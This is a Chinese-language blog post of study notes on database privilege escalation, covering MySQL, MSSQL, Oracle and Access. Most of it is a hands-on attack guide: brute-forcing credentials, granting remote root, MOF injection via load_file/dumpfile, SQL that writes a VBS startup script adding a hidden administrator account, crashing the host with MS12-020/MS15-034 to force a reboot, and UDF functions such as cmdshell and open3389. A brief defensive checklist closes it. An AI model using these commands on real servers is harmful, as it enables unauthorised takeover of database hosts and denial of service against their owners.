数据库权限提升
这是这两天学习的哈,一篇篇发太麻烦了,就整理在一篇文章里了,整体感觉基本都是靠工具,不靠工具的还是都比较有难度的,五一假期过去了也该继续回到紧张的学习中了,冲鸭!
在家没衣服穿太可怜了,想回学校取衣服T_T
如何获取mysql账号密码
1.查看网站配置文件。
如:conn、config、data、sql、common 、inc等。
2.查看数据库安装路径下的mysql文件
安装目录为/data/mysql/user.myd和user.myi
3.通过暴力破解得到(hscan、Bruter、hydra、脚本木马)
对外开放3306,允许远程连接
不允许远程连接需要开启
暴力破解有时候需要远程访问,那么如何打开root的远程访问权限呢?
一、基于安全考虑root账户一般只能本地访问,但是在开发过程中可能需要打开root的远程访问权限。
下面是基本的步骤:
1、登录到mysql中,为root进行远程访问的授权,执行下面的命令:
mysql> GRANT ALL PRIVILEGES ON *.* TO root@"%" IDENTIFIED BY "root";mysql> flush privileges;
第一句中"%"表示任何主机都可以远程登录到该服务器上访问。如果要限制只有某台机器可以访问,将其换成相应的IP即可,如:GRANT ALL PRIVILEGES ON *.* TO root@“%" IDENTIFIED BY "root";
第二句表示从mysql数据库的grant表中重新加载权限数据。因为MySQL把权限都放在了cache中,所以在做完更改后需要重新加载。
二、mysql数据库密码保存文件
参考:http://blog.sina.com.cn/s/blog_8028ba2f0100rzpt.html
三、菜刀数据库连接、大马777.php、其它工具爆破
mssql,orcal,access提权及安全防范
Mssql提权
mssql提权主要分为弱口令与溢出两类提权。目前主要通过弱口令连接直接提权,溢出类Mssql数据库几乎很少见(sqlserver2000之后就几乎没有了)。
通过漏洞拉到webshell之后,找到网站配置文件,里面有sa权限的账号密码,配置文件为asp或者aspx网站一般使用微软自带数据库,这个提权没有sa权限是不能做的
mssql一般是允许远程连接的
系统库是master
其实一个正常的数据库,跟webshell没有太多区别,例如上传,执行,都是可以的
有了密码直接利用sqltools工具就可以了
使用时要恢复三个dll路径(需要sa权限)
Oracle提权
Oracle数据库一般与jsp、aspx网站搭配,如果是jsp网站,默认是系统权限,apsx网站默认需要提权。提权方法参考如下地址:
http://blog.csdn.net/sezvboyrul/article/details/2855401
http://wenku.baidu.com/link?url=DAU-gUL4EpfniDqH3TV4lvQ4W9HRRm-sWCzFqVNJWSnBgfCfm0iu-6DunEAcFgI0STlvJCgNgbq2BwPalWIcaptP72SDTcq77BtpRRvPSGG
或者直接使用oracleshell
access提权
!!!危险性比较大!!!
只要成功,对方网站数据库一定崩溃,只有一次机会,这里就不说了哈,没什么实际用处,毕竟我是温柔小薛
MOF漏洞提权
1、mysql mof漏洞介绍:
http://www.exploit-db.com/exploits/23083/
2、MOF漏洞工具与脚本实战:
http://www.myhack58.com/Article/html/3/8/2013/38264.htm
操作方法
一、通过工具提权(有root权限下)
Mysql综合利用工具
二、手工通过webshell 数据库语句建帐号
1.找个可写目录(属性0777),上传mof文件
2.执行sql
select load_file('C:\\wmpub\\moon.mof') into dumpfile 'c:/windows/system32/wbem/mof/moon.mof';
注意新建的帐号每隔5分钟就会新建帐号,删除帐号的办法参考第二个连接地址。
代码里可以修改这个间隔时间
Mysql启动项提权
思路
1、通过mysql数据库命令写入VBS脚本;
2、直接通过Webshell的Mysql写入启动项;
3、通过MS12-020、MS15-034重启服务器。
实际操作
C:\php\MySQL-5.1.50\bin>mysql -uroot -proot -h192.168.1.109
mysql>drop database test1;
mysql> create database test1;
首先创建一个数据库test1
mysql> use test1;
进入到test1
mysql> create table a (cmd text);
创建一个表a(表里有一个cmd字段 文本类型)
mysql>insert into a values ("set wshshell=createobject (""wscript.shell"")");
给表a设置一个xshshell变量,变量的值是creatboject这个对象,这个对象是一个调用wscript.shell的对象
mysql>insert into a values (“a=wshshell.run (”“cmd.exe /c net user best best /add”",0)");
在这个表里插入一个cmd.exe,建一个best账号,注意cmd.exe/c是无回显的
mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators best /add"",0)");
注意双引号和括号以及后面的“0”一定要输入,我们将用这三条命令来建立一个VBS的脚本程序
mysql>select * from a;
mysql>select * from a into outfile "c://docume~1//administrator//「开始」菜单//程序//启动//best.vbs";
把a表里的信息导出到启动项里面,启动项名称叫best.vbs
最后通过溢出漏洞让服务器重启,如:MS12-020、MS15-034(靶机直接蓝屏挺有意思哈)
重启之后就会启动执行脚本
补充
其实在一般渗透测试过程中,提权需要对方允许才可以进行,比在前端找漏洞更有难度
UDP提权(MYSQL自身功能提权)
1、工具UDF提权方法
一、上传udf.dll
上传路径
小于mysql5.1版本
C:\WINDOWS\udf.dll 或 C:\WINDOWS\system32\udf.dll
等于mysql5.1版本
%mysql%\plugin\udf.dll (也就是在安装路径下) 用 select @@plugin_dir 查询plugin路径
默认 C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin\udf.dll
注意!有的DBA可能会为了安全删除这个文件,如果没有我们可以创建一个
上传方法
允许远程连接情况下(root权限下提权)
1、UDF提权专用webshell工具(mysql综合利用工具),导入dll、再执行命令。
导入目录要注意/,之后执行
2、Mysql允许外连的情况下也可以使用Hack MySQL上传,再通过命令行登陆执行命令。
二、执行SQL
select cmdshell('net user');
select open3389();
三、低权限获取root密码
2、UDF脚本提权方法
主要解决mysql不能远程连接问题。
不允许远程连接的情况下(普通用户下提权)
安全防御
1、限止数据库远程连接,给数据库帐户设置密码必须>8位以上并数字+字母+特殊符号等。
2、不要给网站配置root或SA这种可以扩展存取的权限。必须给每个网站独立分配数据库帐户并限格控制好权限。
3、及时扫描并升级数据库补丁。
4、安装Waf进行防御。
5、购买数据库审计设备